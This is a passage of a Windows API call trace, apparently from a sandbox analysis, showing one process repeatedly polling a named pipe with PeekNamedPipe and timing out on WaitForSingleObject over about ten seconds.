returned 1 [0108.712] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.744] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.744] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.774] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.774] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.807] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.807] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.841] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.841] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.869] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.869] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.899] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.899] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.932] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.932] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.962] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.962] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0108.994] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.994] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.024] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.024] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.056] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.056] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.086] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.086] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.118] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.119] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.149] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.149] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.181] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.181] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.212] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.212] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.243] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.243] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.273] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.274] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.306] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.306] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.336] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.336] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.368] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.368] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.398] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.398] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.431] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.431] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.461] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.461] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.493] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.493] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.523] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.523] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.556] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.556] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.585] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.586] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.618] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.618] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.648] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.648] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.680] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.680] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.710] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.710] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.742] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.742] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.773] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.773] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.806] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.806] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.835] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.835] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.867] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.867] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.897] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.898] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.930] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.930] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.960] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.960] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0109.993] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.993] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.022] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.022] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.055] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.055] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.085] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.085] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.131] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.131] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.147] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.148] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.524] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.524] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0110.553] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0110.553] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0111.654] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0111.655] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0112.597] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0112.597] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0113.223] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.223] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0113.251] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.251] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0115.903] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.904] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0116.048] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.048] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0116.075] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.075] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0116.106] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.106] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0116.529] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.530] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0116.637] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.637] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0116.939] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.940] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0117.843] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.843] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0117.869] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.869] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0117.952] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.952] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0117.978] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.978] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.010] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.010] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.041] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.041] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.109] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.109] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.165] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.165] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.182] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.182] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.212] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.212] WaitForSingleObject 